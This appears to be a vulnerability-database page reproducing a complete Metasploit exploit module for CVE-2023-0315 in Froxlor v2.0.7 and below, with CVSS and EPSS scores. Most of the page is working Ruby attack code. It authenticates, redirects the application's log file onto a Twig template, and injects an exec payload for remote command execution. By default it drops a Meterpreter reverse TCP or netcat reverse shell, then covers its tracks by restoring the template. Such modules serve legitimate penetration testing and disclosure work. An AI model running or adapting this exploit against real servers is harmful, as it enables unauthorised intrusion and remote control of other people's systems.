Lucene search

K
metasploitAskar, jheysel-r7MSF:EXPLOIT-LINUX-HTTP-FROXLOR_LOG_PATH_RCE-
HistoryFeb 08, 2023 - 11:14 p.m.

Froxlor Log Path RCE

2023-02-0823:14:11
Askar, jheysel-r7
www.rapid7.com
183
froxlor
bug
authenticated
logs
path
directory
os level
www-data
backend
remote command execution

CVSS3

8.8

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

LOW

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

AI Score

7.4

Confidence

High

EPSS

0.604

Percentile

97.9%

Froxlor v2.0.7 and below suffer from a bug that allows authenticated users to change the application logs path to any directory on the OS level which the user www-data can write without restrictions from the backend which leads to writing a malicious Twig template that the application will render. That will lead to achieving a remote command execution under the user www-data.

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStager
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Froxlor Log Path RCE',
        'Description' => %q{
          Froxlor v2.0.7 and below suffer from a bug that allows authenticated users to change the application logs path
          to any directory on the OS level which the user www-data can write without restrictions from the backend which
          leads to writing a malicious Twig template that the application will render. That will lead to achieving a
          remote command execution under the user www-data.
        },
        'Author' => [
          'Askar', # discovery
          'jheysel-r7' # module
        ],
        'References' => [
          [ 'URL', 'https://shells.systems/author/askar/'],
          [ 'CVE', '2023-0315']
        ],
        'License' => MSF_LICENSE,
        'Platform' => 'linux',
        'Privileged' => false,
        'Arch' => [ ARCH_CMD ],
        'Targets' => [
          [
            'Linux ',
            {
              'Platform' => 'linux',
              'Arch' => [ARCH_X86, ARCH_X64],
              'CmdStagerFlavor' => ['wget'],
              'Type' => :linux_dropper,
              'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp' }
            }
          ],
          [
            'Unix Command',
            {
              'Platform' => 'unix',
              'Arch' => ARCH_CMD,
              'Type' => :unix_memory,
              'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_netcat' }
            }
          ]
        ],
        'DefaultTarget' => 0,
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
        },
        'DisclosureDate' => '2023-01-29'
      )
    )

    register_options(
      [
        OptString.new('USERNAME', [true, 'A specific username to authenticate as', 'admin']),
        OptString.new('PASSWORD', [true, 'A specific password to authenticate with', '']),
        OptString.new('TARGETURI', [true, 'The base path to the vulnerable Froxlor instance', '/froxlor']),
        OptString.new('WEB_ROOT', [true, 'The webroot ', '/var/www/html'])
      ]
    )
  end

  def login
    res = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, '/index.php'),
      'keep_cookies' => true,
      'vars_post' => {
        'loginname' => datastore['USERNAME'],
        'password' => datastore['PASSWORD'],
        'send' => 'send',
        'dologin' => ''
      }
    )

    if res && (res.code == 302 && res.headers.include?('Location') && res.headers['Location'] == 'admin_index.php')
      send_request_cgi(
        'method' => 'GET',
        'uri' => normalize_uri(target_uri.path, '/admin_index.php'),
        'keep_cookies' => true
      )
      print_good('Successful login')
      true
    else
      false
    end
  end

  def check
    begin
      @authenticated = login
    rescue InvalidRequest, InvalidResponse => e
      return Exploit::CheckCode::Unknown("Failed to authenticate to Froxlor: #{e.class}, #{e}")
    end

    version_url = '/lib/ajax.php?action=updatecheck&theme=Froxlor'
    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, version_url),
      'keep_cookies' => true
    )

    if res.nil? || res.code != 200
      Exploit::CheckCode::Unknown("Failed to retrieve version info from #{normalize_uri(target_uri.path, version_url)}")
    else
      version = res.get_html_document.at('body/span/text()')
      if version
        if Rex::Version.new('2.0.7') >= Rex::Version.new(version)
          Exploit::CheckCode::Appears("Vulnerable version found: #{version}")
        else
          Exploit::CheckCode::Safe("Non-vulnerable version found: #{version}")
        end
      else
        Exploit::CheckCode::Unknown("Failed to obtain Froxlor version info from #{normalize_uri(target_uri.path, version_url)}")
      end
    end
  end

  def get_csrf_token(url)
    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, url),
      'keep_cookies' => true
    )

    fail_with(Failure::UnexpectedReply, "Failed to get csrf token from #{normalize_uri(target_uri.path, url)}") unless !res.nil? || res.code == 200
    csrf_token = res.get_html_document.at('//input[@name="csrf_token"]/@value')&.text
    fail_with(Failure::UnexpectedReply, "No CSRF token found when querying #{normalize_uri(target_uri.path, url)}.") unless csrf_token
    print_good("CSRF token is : #{csrf_token}")
    csrf_token
  end

  def change_log_path(new_logfile)
    mime = Rex::MIME::Message.new
    mime.add_part('0', nil, nil, 'form-data; name="logger_enabled"')
    mime.add_part('1', nil, nil, 'form-data; name="logger_enabled"')
    mime.add_part('2', nil, nil, 'form-data; name="logger_severity"')
    mime.add_part('file', nil, nil, 'form-data; name="logger_logtypes[]"')
    mime.add_part(new_logfile, nil, nil, 'form-data; name="logger_logfile"')
    mime.add_part('0', nil, nil, 'form-data; name="logger_log_cron"')
    mime.add_part(@csrf_token, nil, nil, 'form-data; name="csrf_token"')
    mime.add_part('overview', nil, nil, 'form-data; name="page"')
    mime.add_part('', nil, nil, 'form-data; name="action"')
    mime.add_part('send', nil, nil, 'form-data; name="send"')

    res = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, '/admin_settings.php?'),
      'vars_get' => { 'page' => 'overview', 'part' => 'logging' },
      'keep_cookies' => true,
      'ctype' => "multipart/form-data; boundary=#{mime.bound}",
      'data' => mime.to_s
    )

    if res && res.code == 200 && res.body.include?('The settings have been successfully saved')
      return true
    end

    false
  end

  def execute_command(cmd, _opts = {})
    res = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, '/admin_index.php'),
      'keep_cookies' => true,
      'vars_post' => {
        'theme' => "{{['#{cmd}']|filter('exec')}}",
        'csrf_token' => @csrf_token,
        'page' => 'change_theme',
        'send' => 'send',
        'dosave' => ''
      }
    )

    if res && res.code == 302 && res.headers['Location']
      if res.headers['Location'] == 'admin_index.php'
        print_good('Injected payload successfully')
        print_status("Changing log path back to default value while triggering payload: #{datastore['WEB_ROOT']}#{datastore['TARGETURI']}/logs/froxlor.log")
        change_log_path("#{datastore['WEB_ROOT']}#{datastore['TARGETURI']}/logs/froxlor.log")
      end
    else
      print_error('did not inject payload successfully')
    end
  end

  def exploit
    fail_with(Failure::NoAccess, 'Failed to login') unless @authenticated || login
    @csrf_token = get_csrf_token('/admin_settings.php?page=overview&part=logging')

    if change_log_path("#{datastore['WEB_ROOT']}#{datastore['TARGETURI']}/templates/Froxlor/footer.html.twig")
      print_good("Changed logfile path to: #{datastore['WEB_ROOT']}#{datastore['TARGETURI']}/templates/Froxlor/footer.html.twig")
      case target['Type']
      when :unix_memory
        execute_command(payload.encoded)
      when :linux_dropper
        execute_cmdstager
      else
        print_error('Please enter valid target')
      end
    else
      fail_with(Failure::UnexpectedReply, 'Failed to change the log path. The target might not be exploitable')
    end
  end

  def on_new_session(session)
    super
    # Original footer.html.twig file
    footer_html_twig = <<~EOF
      <footer class="text-center mb-3">
              <span>
                      <img src="{{ basehref|default("") }}templates/Froxlor/assets/img/logo_grey.png" alt="Froxlor"/>
                      {% if install_mode is not defined  %}
                              {% if (get_setting('admin.show_version_login') == '1'
                                      and area == 'login') or (area != 'login'
                                      and get_setting('admin.show_version_footer') == '1') %}
                                      {{ call_static('\\Froxlor\\Froxlor', 'getFullVersion') }}
                              {% endif %}
                      {% endif %}
                      &copy; 2009-{{ "now"|date("Y") }} by <a href="https://www.froxlor.org/" rel="external" target="_blank">the Froxlor Team</a><br>
                      {% if install_mode is not defined %}
                              {% if (get_setting('panel.imprint_url') != '') %}<a href="{{ get_setting('panel.imprint_url') }}" target="_blank" class="footer-link">{{ lng('imprint') }}</a>{% endif %}
                              {% if (get_setting('panel.terms_url') != '') %}<a href="{{ get_setting('panel.terms_url') }}" target="_blank" class="footer-link">{{ lng('terms') }}</a>{% endif %}
                              {% if (get_setting('panel.privacy_url') != '') %}<a href="{{ get_setting('panel.privacy_url') }}" target="_blank" class="footer-link">{{ lng('privacy') }}</a>{% endif %}
                      {% endif %}
              </span>

          {% if lng('translator') %}
                      <br/>
              <small class="mt-3">{{ lng('panel.translator') }}: {{ lng('translator') }}</small>
          {% endif %}
      </footer>
    EOF
    if session.type == 'meterpreter'
      print_status('Deleting tampered footer.html.twig file')
      filename = "#{datastore['WEB_ROOT']}#{datastore['TARGETURI']}/templates/Froxlor/footer.html.twig"
      session.fs.file.rm(filename)
      fd = session.fs.file.new(filename, 'wb')
      print_status('Rewriting clean footer.html.twig file')
      fd.write(footer_html_twig)
      fd.close
    else
      print_status('Cleaning tampered footer.html.twig file')
      # Remove all log lines added to footer.html.twig by the exploit
      # (all log lines start with an opening square bracket ex: [2023-02-16 09:08:28] froxlor.INFO: [API] ...)
      session.shell_command_token("sed '/^\\[/d' #{datastore['WEB_ROOT']}#{datastore['TARGETURI']}/templates/Froxlor/footer.html.twig > #{datastore['WEB_ROOT']}#{datastore['TARGETURI']}/templates/Froxlor/tmp")
      session.shell_command_token("mv -f #{datastore['WEB_ROOT']}#{datastore['TARGETURI']}/templates/Froxlor/tmp #{datastore['WEB_ROOT']}#{datastore['TARGETURI']}/templates/Froxlor/footer.html.twig")
      session.shell_command_token("rm #{datastore['WEB_ROOT']}#{datastore['TARGETURI']}/templates/Froxlor/tmp")
    end
  end
end

CVSS3

8.8

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

LOW

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

AI Score

7.4

Confidence

High

EPSS

0.604

Percentile

97.9%